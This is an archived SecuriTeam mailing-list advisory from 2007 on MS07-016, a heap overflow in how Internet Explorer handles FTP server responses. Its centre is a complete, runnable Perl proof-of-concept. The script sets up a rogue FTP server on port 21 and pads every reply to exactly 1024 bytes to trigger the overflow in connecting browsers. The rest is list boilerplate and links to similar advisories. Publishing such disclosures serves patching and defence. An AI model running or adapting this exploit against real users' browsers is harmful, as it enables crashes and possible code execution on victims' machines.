[EXPL] MS Internet Explorer DoS (FTP Server Response, MS07-016, Exploit)
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 14 Mar 2007 12:21:46 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
MS Internet Explorer DoS (FTP Server Response, MS07-016, Exploit)
------------------------------------------------------------------------
SUMMARY
A remote code execution vulnerability exists in the way Internet Explorer
interprets certain responses from FTP servers. An attacker could exploit
the vulnerability by sending specially crafted FTP responses in an FTP
session to the FTP client included in Internet Explorer.
DETAILS
Exploit:
#!/usr/bin/perl
# MS 07-016 FTP Server Response PoC
# Usage: ./ms07016ftp.pl [LISTEN_IP]
#
# Tested Against: MSIE 6.02900.2180 (SP2)
#
# Details: The response is broken into buffers, either at length 1024,
# or at '\r\n'. Each buffer is apended with \x00, without
# bounds checking. If the response is exctly 1024
characters
# in length, you will overflow the heap with the string
\x00.
use IO::Socket;
use strict;
# Create listener
my $ip=shift || '127.0.0.1';
my $sock = IO::Socket::INET->new(Listen=>1,
LocalHost=>$ip,
LocalPort=>'21',
Proto=>'tcp');
$sock or die ("Could not create listener.\nMake sure no FTP server is
running, and you are running this as root.\n");
# Wait for initial connection and send banner
my $sock_in = $sock->accept();
print $sock_in "220 waa waa wee waa\r\n";
# Send response code with total lenght of response = 1024
while (<$sock_in>){
my $response;
if($_ eq "USER") { $response="331 ";}
elsif($_ eq "PASS") { $response="230 ";}
elsif($_ eq "syst") { $response="215 ";}
elsif($_ eq "CWD") { $response="250 ";}
elsif($_ eq "PWD") { $response="230 ";}
else { $response="200 ";}
print $sock_in $response."A"x(1024-length($response)-2)."\r\n";
}
close($sock);
ADDITIONAL INFORMATION
The information has been provided by milw0rm.
The original article can be found at:
<http://www.milw0rm.com/exploits/3444>
http://www.milw0rm.com/exploits/3444
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [UNIX] Asterisk SIP DoS Vulnerability (Empty REGISTER)
- Next by Date: [NT] Windows Multimedia mmioRead DoS Vulnerability
- Previous by thread: [UNIX] Asterisk SIP DoS Vulnerability (Empty REGISTER)
- Next by thread: [NT] Windows Multimedia mmioRead DoS Vulnerability
- Index(es):
Relevant Pages
- [EXPL] Golden FTP Server Pro Buffer Overflow (USER, Exploit)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... " Golden FTP Server is
a free Windows FTP server ... unsigned char *recvbuf; ... (Securiteam) - [NT] Home Ftp Server Multiple Vulnerabilities (Information Disclosure, Directory Traversal)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... very easy to use Windows FTP
server application with all the nice ftp ... * Home Ftp Server version 1.0.7 b45 ...
By default the program setting files ftpmembers.lst and ftpsettings.lst ... (Securiteam) - [NT] Pablo Software Solutions FTP Server File Disclosure
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... FTP server for Windows
98/NT/XP. ... This vulnerability allows checking whether a file exists on a remote ...
Using this you can know if the remote system is Windows NT/2000/XP ... (Securiteam) - [NEWS] Blogger.com HTTP Response Splitting Vulnerability
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... HTTP headers response,
this causes the portal to become vulnerable to HTTP ... 13/01/2006 - Vendor response and
confirmation that bug fixed. ... (Securiteam) - [NT] Serv-U Local Privilege Escalation Vulnerability
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... SYSTEM privileges using a problem
with Serv-U administration. ... The Serv-U FTP server in all its platforms has a
local administration ... arbitrary commands. ... (Securiteam)